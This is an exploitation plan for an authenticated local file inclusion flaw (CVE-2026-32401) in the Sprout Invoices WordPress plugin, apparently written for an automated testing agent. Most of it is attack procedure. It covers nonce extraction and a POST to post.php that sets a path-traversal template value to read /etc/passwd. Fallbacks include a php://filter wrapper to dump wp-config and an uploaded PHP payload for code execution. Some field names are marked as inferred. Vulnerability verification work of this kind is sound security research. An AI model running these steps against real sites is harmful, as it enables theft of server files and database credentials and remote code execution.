Research Plan: CVE-2026-32401 - Authenticated LFI in Sprout Invoices

Vulnerability Summary

The Client Invoicing by Sprout Invoices plugin (versions <= 20.8.9) is vulnerable to Local File Inclusion (LFI). The vulnerability exists in the way the plugin handles "Doc Templates" for Invoices and Estimates. An authenticated user with Author-level permissions or higher can modify the template associated with an invoice or estimate to point to an arbitrary file on the server. When that document is subsequently viewed on the frontend, the plugin includes the specified file via a template_include filter, leading to PHP code execution or sensitive information disclosure.

Attack Vector Analysis

• Endpoint: Frontend view of an Invoice (sa_invoice) or Estimate (sa_estimate).
• Vulnerable Parameter: The post meta field _doc_template_option (defined as SI_Templating_API::TEMPLATE_OPTION).
• Injection Point: The post update process (wp-admin/post.php) where the template selection is saved.
• Authentication: Author-level access (user must be able to create or edit their own Invoices/Estimates).
• Preconditions: An invoice or estimate must exist or be created by the attacker.

Code Flow

1. Registration: SI_Templating_API::init() (in controllers/templating/Templating.php) registers the template_include filter:

   add_filter( 'template_include', array( __CLASS__, 'override_template' ) );
   

2. Metadata Setup: SI_Templating_API::init() also hooks the saving of the template selection:

   add_action( 'si_save_line_items_meta_box', array( __CLASS__, 'save_doc_template_selection' ) );
   

3. Saving: When an invoice is saved, save_doc_template_selection (inferred) reads a POST parameter (likely sa_doc_template) and updates the post meta _doc_template_option.
4. Retrieval: When viewing the document, override_template is triggered. It calls get_doc_current_template($doc_id):

   public static function get_doc_current_template( $doc_id ) {
       $template_id = get_post_meta( $doc_id, self::TEMPLATE_OPTION, true );
       // ... returns the malicious path ...
   }
   

5. Inclusion (Sink): override_template uses the retrieved $template_id to locate a file. If the plugin fails to sanitize this path and passes it back to WordPress or calls include/require directly, the file is included.

Nonce Acquisition Strategy

The vulnerability requires updating post meta, which is typically done through the standard WordPress post edit screen.

1. Navigate to the Edit Page: Use browser_navigate to go to the edit screen of an existing sa_invoice.
2. Extract Nonces: Use browser_eval to extract the standard WordPress nonces required for post.php.
   • _wpnonce: document.querySelector('#_wpnonce').value
3. Identify Field Name: Verify the exact name of the template selection dropdown.
   • browser_eval("document.querySelector('select[name*=\"template\"]')?.name")
   • Based on the hook si_save_line_items_meta_box, the expected parameter name is sa_doc_template.

Exploitation Strategy

1. Setup:
   • Create a user with the author role.
   • Create a new sa_invoice post via WP-CLI.
2. Inject Malicious Path:
   • Use the http_request tool to send a POST request to wp-admin/post.php.
   • Set action=editpost.
   • Set post_ID to the ID of the created invoice.
   • Set sa_doc_template (or the discovered field name) to the traversal path: ../../../../../../../../../../../../etc/passwd.
   • Include the necessary _wpnonce.
3. Trigger Inclusion:
   • Find the frontend URL for the invoice (e.g., ?post_type=sa_invoice&p=[ID]).
   • Use the http_request tool to perform a GET request to that URL while authenticated as the author.
4. Capture Output:
   • The response body should contain the contents of /etc/passwd.

Test Data Setup

1. Author User:

   wp user create attacker attacker@example.com --role=author --user_pass=password
   

2. Invoice Post:

   wp post create --post_type=sa_invoice --post_status=publish --post_title="LFI Test" --post_author=$(wp user get attacker --field=ID)
   

Expected Results

• A successful POST request to post.php will return a 302 redirect back to the edit page.
• A GET request to the invoice frontend URL will return a 200 OK response.
• The response body will contain /etc/passwd content (e.g., root:x:0:0:root:/root:/bin/bash).

Verification Steps

1. Check Meta State:

   wp post meta get [POST_ID] _doc_template_option
   

   Confirm it matches the injected path.
2. Verify Response:
   Check the http_request output for the string root:x:0:0:.

Alternative Approaches

• PHP Filter Wrapper: If /etc/passwd is blocked or if the plugin appends .php, try:
  php://filter/convert.base64-encode/resource=wp-config
• Uploaded Payload: If the plugin only includes files relative to the uploads directory:
  1. Upload a text file poc.txt containing <?php echo "VULNERABLE"; ?> via the Media Library.
  2. Get its path in wp-content/uploads/.
  3. Set sa_doc_template to ../../../../uploads/YYYY/MM/poc.txt.
• Estimate Post Type: If sa_invoice is restricted, repeat the process using sa_estimate.